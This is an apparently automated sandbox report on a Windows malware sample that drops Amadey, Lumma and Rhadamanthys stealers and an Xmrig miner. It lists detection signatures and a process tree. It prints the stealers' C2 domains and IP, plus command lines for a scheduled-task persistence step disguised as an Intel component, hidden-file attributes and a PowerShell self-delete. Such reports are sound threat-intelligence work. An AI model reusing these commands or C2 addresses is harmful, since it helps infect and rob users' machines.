Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1576493
MD5:	6a4ba197b4062e45bf460d01882d5485
SHA1:	67b4595d9580924f147a8f9c79db814fec56246c
SHA256:	ec72f60168268d0e1b76fc4387b2d026aabf6a75d294c016d0b3c0e0532a8db3
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LiteHTTP Bot

Yara detected LummaC Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to resolve many domain names, but no domain seems valid

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7296 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6A4BA197B4062E45BF460D01882D5485)

skotes.exe (PID: 7532 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6A4BA197B4062E45BF460D01882D5485)

skotes.exe (PID: 7524 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6A4BA197B4062E45BF460D01882D5485)

skotes.exe (PID: 8164 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6A4BA197B4062E45BF460D01882D5485)

2ab65296fe.exe (PID: 2436 cmdline: "C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe" MD5: 266042224A146E64D2ECD1D18D74CB10)

svchost.exe (PID: 5560 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 3292 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 672 MD5: C31336C1EFC2CCB44B4326EA793040F2)

c1be3b2878.exe (PID: 7476 cmdline: "C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe" MD5: FD17D712C627B434E99749CFC82C7D51)

92732722ce.exe (PID: 7588 cmdline: "C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 7676 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 7720 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 7744 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7764 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1016 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1248 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4072 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5604 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5580 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5348 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 1560 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 3648 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 3136 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7128 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 5340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6120 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7904 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6780 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

716b31b09e.exe (PID: 2824 cmdline: "C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe" MD5: D37DAB4C59E707F632BB0B91EAA87FF9)

2c937c98d4.exe (PID: 4480 cmdline: "C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe" MD5: 7D428FCF377F6D515C378D45DBD193DF)

c7d5db0fd9.exe (PID: 6436 cmdline: "C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Intel_PTT_EK_Recertification.exe (PID: 4208 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 1708 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 4160 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4128 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

Intel_PTT_EK_Recertification.exe (PID: 1776 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["immureprech.biz", "deafeninggeh.biz", "debonairnukk.xyz", "diffuculttan.xyz", "awake-weaves.cyou", "sordid-snaked.cyou", "wrathful-jammy.cyou", "effecterectz.xyz"], "Build id": "Y8AvKL--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000003.2788559394.0000000004830000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2795119500.0000000005860000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000008.00000003.2792751943.0000000003710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000000.00000003.2049245941.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2794892973.0000000005640000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000024.00000002.3063073464.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000006.00000003.2644702962.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2791591127.0000000004F60000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000028.00000002.3290433363.0000000000942000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_LiteHTTPBot	Yara detected LiteHTTP Bot	Joe Security
00000024.00000002.3062383806.0000000001198000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.2792857392.0000000004A60000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000008.00000002.2803801839.0000000003720000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000024.00000002.3063252867.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.2791780188.0000000005180000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000003.00000003.2075453334.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.3078223263.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LiteHTTPBot	Yara detected LiteHTTP Bot	Joe Security
00000024.00000002.3062383806.00000000011BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000003.2073173169.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: 2ab65296fe.exe PID: 2436	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 5560	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
40.2.716b31b09e.exe.940000.0.unpack	JoeSecurity_LiteHTTPBot	Yara detected LiteHTTP Bot	Joe Security
40.2.716b31b09e.exe.940000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
40.2.716b31b09e.exe.940000.0.unpack	MALWARE_Win_CoreBot	Detects CoreBot	ditekSHen	0x8862:$v1_1: newtask 0x7243:$v1_6: payload 0x7446:$v1_7: DownloadFile 0x7453:$v1_8: RemoveFile 0x8814:$cnc1: &os= 0x881e:$cnc2: &pv= 0x8828:$cnc3: &ip= 0x8832:$cnc4: &cn= 0x883c:$cnc5: &lr= 0x8846:$cnc6: &ct= 0x8850:$cnc7: &bv= 0x8872:$cnc8: &op= 0x8880:$cnc9: &td= 0x8894:$cnc10: &uni=
8.3.svchost.exe.5640000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.svchost.exe.5640000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.svchost.exe.5640000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.2.skotes.exe.190000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.3.2ab65296fe.exe.5180000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.svchost.exe.5860000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.3.svchost.exe.5860000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.2.file.exe.8f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.3.2ab65296fe.exe.4f60000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
6.2.skotes.exe.190000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
2.2.skotes.exe.190000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
36.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
36.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
36.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3648, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 6120, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe, ParentProcessId: 2436, ParentProcessName: 2ab65296fe.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 5560, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3648, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 7904, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe, ParentProcessId: 2436, ParentProcessName: 2ab65296fe.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 5560, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:01:56.762563+0100	2028371	3	Unknown Traffic	192.168.2.5	49979	104.121.10.34	443	TCP
2024-12-17T08:03:25.789211+0100	2028371	3	Unknown Traffic	192.168.2.5	49865	178.62.201.34	443	TCP
2024-12-17T08:03:29.139348+0100	2028371	3	Unknown Traffic	192.168.2.5	49873	104.131.68.180	443	TCP
2024-12-17T08:03:32.692338+0100	2028371	3	Unknown Traffic	192.168.2.5	49883	104.121.10.34	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:26.362870+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49865	178.62.201.34	443	TCP
2024-12-17T08:03:29.563966+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49873	104.131.68.180	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:03:26.362870+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49865	178.62.201.34	443	TCP
2024-12-17T08:03:29.563966+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49873	104.131.68.180	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)

